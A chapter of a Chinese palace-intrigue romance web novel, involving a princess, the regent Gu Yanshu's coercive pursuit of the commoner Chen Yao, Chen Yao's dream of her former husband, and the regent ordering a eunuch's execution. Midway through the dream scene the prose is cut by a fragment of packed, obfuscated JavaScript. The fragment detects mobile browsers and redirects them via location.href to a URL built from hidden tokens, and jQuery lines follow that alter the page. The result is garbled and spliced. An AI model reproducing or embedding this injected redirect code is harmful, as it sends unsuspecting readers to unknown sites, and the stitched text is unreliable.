顾璇儿好几天前就准备去送礼,春明提着陈窈的食盒跟着她,一想到公主即将要做什么,她心底打鼓,忍不住地提醒她,“公主!咱们这么做是不是不妥?”
顾璇儿理直气壮,“有何不妥?我身为公主理应送国师礼。”
这压根不是公主送皇兄的祝礼,而是献给国师李牧的生辰礼,春明作为公主贴身的掌事宫女,自是看出公主对国师很上心,不同于君臣之间,是男女之情的在意。
更何况公主私下见外男,若是被有心之人添油加醋,公主恐是寻不到驸马了。
公主一心执念,春明不知如何劝说,沉思的片刻换来了顾璇儿的不满,她凝起眸子,“还是你认为这碗馄饨不像是我的手艺?”
春明:“……您说您亲自下厨自是无人反驳。”
顾璇儿爽朗地勾了下唇,“那便十分妥帖!”
春明:“……”
到了和芳园却不见李牧,只有李牧身边的侍从,他欠身道:“国师说有事商议先行告退,若公主有什么吩咐,小的会传话。”
春明顿时松了口气,公主见不到国师就不会被人定为私会。
但顾璇儿脸色极其难看,骄纵地说:“他怎能无信!有什么事比见本公主还重要?”
春明使了个眼色,让小侍卫拿着食盒先退下,小侍卫如释重负地退下。
顾璇儿白忙一场,人见不到还拿这种理由搪塞她,她可是一朝公主啊!最尊贵的公主!
“本宫要告到太后那边治他的罪!”公主袖子一挥,生气道。
“国师为大齐安危祈福,连自己的生辰都来不及过,公主更应体谅。”春明安慰公主,忽想起一事,“近日嬅京有一杀夫命案闹得纷纷扬扬,死者正是来过宫的画师盛明朗,本该当街处死他妻子,但国师出手制止,将卷宗连夜翻开,发现死者服用了大量的五石散,神志不清溺水而亡,这才还了公道。”
顾璇儿这才记起是有这么一回事,这案定的死,有人曾看到死者与他妻子在河边打架的情形,已是板上钉钉的案子,国师能翻案实属不易。
她脑中浮现出李牧那种温润如玉的面孔,淡色长衣挺立,在朝堂举步风声,像是能融化世间所有苦寒之物。
顾璇刚才那点计较倏尔消散,笑着说:“国师真是位心善之人,那本公主也应行善事,如此一来,也能与国师并肩,省得找个由头和他见面!”
春明说:“此案据说还有个疑点。”
“什么疑点?”顾璇儿让她说来听。
春明压下声音,“按理说案子结了,还她清白回家过日子,可这事怪就怪在这儿了……那寡妇消失了?”
……
顾璇儿沉默了,她只是一时兴起,若是真让她帮国师办案子,她真不是那块料,还是回去摆弄她期待许久的金簪比较好。
结果,当头便给她一棒,陈窈的爪子竟攀附上她皇兄的手!
顾璇儿脚下步子一顿,纵使礼仪端庄的公主,看到如此惊骇的画面都差点被自己的长裙绊倒。
那可是她七皇兄啊!曾经她宫里想攀高不怕死的宫女,试图勾引顾宴书,打扮得不光花枝招展还十分大胆,高高鼓起的胸脯蹭了蹭顾宴书的臂,结果第二天便在房中找到了她的尸体。
春明在一旁也如石化般,她吞了吞口水,“公主,咱们……要过去吗?”
顾璇儿清了清嗓,昂起胸来,“自然!本宫刚才还说要日行一善,怎能言而无信?”
春明扶着公主,跟着她加快的步伐,雄赳赳气昂昂地走过去。
顾璇儿大步走过去,高着嗓,亮声喊,“七皇兄今儿日来得好早!”
也是在她走过的一刻,陈窈的手终于从顾宴书的桎梏中抽离,她白如霜雪的手面留下一圈淡粉的痕迹。
陈窈恭敬退到一旁,她不知公主看到了多少,会降她什么罪。
就算她如实说来,是顾宴书先动的手,想要轻薄于她,但高高在上的摄政王屈服一介民女,谁又会信她的只言片语,到头来受苦的还是自己。
陈窈对策还未想好,顾宴书悠悠开嗓,像是清冽的茶被热水沏开,笑着说:“自然是被皇妹殿中的一碗佳肴吸引,不知是何人所做,能否将这厨子赠予本王?”
话落,陈窈蓦然瞪大眼珠,抬头与顾宴书幽深如潭水的眸子对上,他好整以暇地望着她。
陈窈捏了捏袖口,这个王八蛋要做什么!?
这才过了几天他就如此不守规定!
陈窈顺势低下的脑袋藏着惊怕,心如跌入谷底般跼蹐不安,若公主真供出她来,她又要回那个逃不出去的王府。
顾璇儿瞧着顾宴书这懒散却又郑重的神色,心想完蛋了,这就是暴风雨来临前的平静,顾宴书越这样发笑,陈窈死的就越惨。
风吹过,三人无一人开口。
“怎么?”顾宴书眼神扫过陈窈战战兢兢的脸上,轻挑眉目道:“皇妹不舍啊?”
“这个嘛……皇兄有所不知,这馄饨并不是宫里的御厨所制,而是一位民间的……厨子烹制。”顾璇儿语气微微结巴地道。
须臾,顾宴书淡淡说:“既然如此,下次她来皇妹一定要让本王过目。”
顾璇儿松了口气,看着眼前摆放整齐的簪子与金钗,她随便拿了支步摇,指着陈窈斥责道:“本宫不是让你把这些送走,怎么还在这里?连这点小事都做不到吗?”
“民女该死,求公主原谅。”陈窈见状跪下求饶。
顾璇儿:“你这样不长记性的人,我本宫怎敢用你,还不滚出宫!”
“多谢公主!多谢公主!”陈窈像看到救命稻草般,连滚带爬地远离这个地方。
顾宴书:“一支钗子罢了,皇妹怎发这么重的脾气?”
顾璇儿愣住,“……重……重吗?”
她心里嘀咕,堪堪训斥而已,难道不比他杀人轻吗?
顾宴书:“嗯,皇妹还是改改这脾气吧,本王改日再来。”
顾璇儿难以置信,拉着春明说:“你刚听到他什么了?”
春明也震惊了,“摄政王说让您改改脾气。”
顾璇儿被气笑,“我只是偶尔说说要去太后那边告状,你看我哪次真跑去慈宁宫了?”
“是,您仁慈。”春明说。
“可他呢?双手都不知沾了多少鲜……”顾璇儿说到这里不敢真置喙顾宴书什么,她声音止住,说道:“陈窈没走远吧,快叫她回来!”
春明:“您不计较她勾引摄政王了?”
顾璇儿天真地说:“她做的簪钗远比皇宫的簪娘还新颖,没了她本宫如何能在宴会中脱颖,本宫既救了她的命,日后好好提点她,她定能知错就改,为本宫卖命!”
春明:“好……”
——
公主的苦口婆心劝导,让陈窈回到金瑶楼已是傍晚,更重要的是她空着肚子,饥肠辘辘。
“姑娘,您怎么回来这么晚?”晓依见她一脸疲色,“用饭了吗?”
陈窈:“没有,快给我上五头牛来!”
“好……”晓依着急地下楼去厨房,仔细听她想要什么后,反应过来,“什么?五头牛?”
“对,我现在饿的能吃下好几头牛。”饭还需热一会儿,陈窈拿起桌上的茶点狼吞虎咽地塞进嘴巴里。
晓依给她递了杯茶放在旁边,关心地说:“公主留您在宫中这晚作甚?”
陈窈嘴中被豆沙填满,含糊地说:“她叫我不要勾引顾宴书。”
晓依:“……”
陈窈拉过晓依的手,给她学起来,“这个王八蛋就是在大庭广众下这样的!”
晓依起了一身的鸡皮疙瘩,但又实话实说,“那王爷是有点过分,至少也应该避避人。”
陈窈凝眸,斜睨着她,“你到底是谁的人?”
晓依嘿嘿一乐,抱着陈窈的手臂,嘴甜道:“自然是姑娘的人。”
陈窈推开她,微微挤出一个转瞬即逝的假笑,“你句句向着他说话!”
晓依撅了噘嘴,认真分析,“王爷要是避人的话,您也不用如此动怒。”
陈窈说:“重点是他拉扯我,而不是避人,小依依你懂吗?”
晓依使劲点了下脑袋:“懂!”
陈窈就知道她是个叛徒,“你就应该和我一起骂那个王八蛋!”
让她破口大骂摄政王,晓依拒绝:“说不出口。”
陈窈冷笑:“我算是看明白了。”
晓依疑惑:“您明白什么了?”
陈窈:“我若哪天进了他王府,一定是你给我送上顾宴书的床!”
晓依:“奴婢没有那么大本事。”
鸡同鸭讲一般,陈窈失了兴趣,她把一盘饼吃光,拍拍手里的渣,轰人道:“行了,我吃饱了,先睡了。”
“您不吃五头牛了?”晓依还没来得及去厨房准备。
“还不快从我眼前消失!”陈窈瞪她。
陈窈闭上眼,梦带她回到了花颐村,回到了吃馄饨挖野菜的日子,也回到了——
与她的傻子夫君卿卿我我。
梦境中裴照七千好万好,任她呵斥使唤,她笑得爽朗,是一种直达眼底的笑意。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781926|153710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>可转眼男人双眼煞起火光,杀气升腾,一身的戾气遍布周身。
裴照七有权有势,却变得陌生,让她感到害怕。
他说他如今什么都有,要用一屋子的金银永远把她困在王府,做一只飞不出去的鸟儿。
她说她不愿意,她喜欢自由自在,穿过闹市,飞过山川海流,去从未去的地方,做没做过的事。
然而,顾宴书终究不是听她话的裴照七,他扯住她的双手,用力地拽她,像是从阎罗殿追命的厉鬼一样,要将她牢牢地捆在身边。
于是,她不喜欢他了。
夜雾浓重,更深夜露。
陈窈从梦中惊醒,猛地坐起身,后背被大片大片的汗浸湿,发丝汗津津地贴在面庞。
她喊:“晓依?晓依?现在几时了?”
晓依没一会儿端来一根蜡烛,揉着睁不开的眼睛说:“才子时,离天亮还很久。”
陈窈望了眼漆黑的窗外,神色有些恍然,“是吗?可我觉得已经睡了很久。”
晓依:“姑娘,您做噩梦吧?”
陈窈:“不是噩梦,很真实的梦。”
“我给姑娘倒杯水吧。”晓依说。
“不用,我出去走走吧,睡不着了。”陈窈了无困意,心闷得慌,想出去透透气。
“也好。”晓依给陈窈披了件衣服。
陈窈在楼下坐到了天亮起,天光一点点亮起的样子真好看,曙光蒙蒙亮起,映不到她身上,但给浅蓝的天打了个光晕,像是新生。
阳似金子般洒在一片辉煌大地之中,薄薄的尘埃在光中起伏,一双绣有龙纹的朝靴踏入宫殿,顾宴书冷冷的声音顿时响起,“你今天迟了三刻!”
他每日清晨都会在殿中辅导小皇帝温书,但今日他等到茶水从热到凉,旁边的下人见他不怒自威的神色,也不敢轻易上前换茶。
“昨日朕看书看得晚,不信皇兄可以考考朕左传,朕绝对倒背如流。”
小皇帝虽年少但很聪明,一学便会,不过凡事都逃不过一个懒惰。
小孩子说谎很容易看出来,顾宴书眼帘微垂,“左传是要考你,但你说谎也要罚!”
小皇帝收起笑容,他顿时慌神,只听顾宴书威震又厉色地道:“是谁带你玩的蹴鞠!”
此话一出,宫中所有的宫女与太监都跪下。
小皇帝一人承担下所有,他十分义气地说:“无人,是朕一人所为!”
“凌霄!”顾宴书不听他的话,直接叫手底下的人把罪人绑来。
小皇帝看着门口忽然降落的侍卫人都傻了,这是他皇兄的暗卫,下手毒辣,又被人称为血信子。
他就拽起一个太监的后颈,一脸杀气地进宫,额前长长的刘海盖住他灰蒙蒙的瞳孔,如同随时要吐出信子的蟒蛇。
“奴才该死!奴才该死!”小太监扑通跪在地上,磕头磕得都破成了一个血窟窿,鲜血顺着额头流到嘴角,“再也不带皇上玩了,求摄政王饶了奴才这一回吧!”
“抬起头来。”顾宴书狭长的眸子微眯,杀意若隐若现,“本王记得你以前不是伺候皇帝的吧?”
“奴才……奴才……”太监支支吾吾,不敢说话。
小皇帝抓了抓脑袋,顺嘴说:“他……是太后送给朕的。”
“杀!”
顾宴书声音冷得发寒,如严冬的刀刃发出鸣响。
凌霄得命,背后的刀还没露出光影时,他脚边跪着的太监俨然一命呜呼,脖颈泛着一条很浅的血痕。
小皇帝呼吸猛然一滞,僵直着身子去翻书。
顾宴书不管他有没有被血腥场面吓到,转而给他读了书中的一段——
“太后王氏一族势力不断壮大,太后的七个兄弟都封为侯,王政君长兄王风官位高至大司马大将军领尚书事,王政君的侄子王莽也开始崭露出头,而后王莽代汉自立,建立“新朝”,西汉就这样葬送在王氏外戚手上。”[1]
小皇帝明白了他的话中的意思,羞愧地对顾宴书鞠躬,“朕知错了,日后定更加进取,保卫顾家江山。”
“知错便好,继续温书吧。”过了一会儿,顾宴书注意到他跳页,便问:“这诗为何不读?”
小皇帝依着诗句中惋惜遗憾的意境,说道:“朕是天子,要什么都会得有,绝不会有得不到的东西,这句诗朕扫一眼便罢了,品不出什么意境。”
小皇帝自诩皇兄与他同样为皇室中人,自是没有得不到、做不到的事情,没想到顾宴书却言:“再强大的人也有不可得之物。”
小皇帝年幼,讪讪地说:“皇兄也有吗?”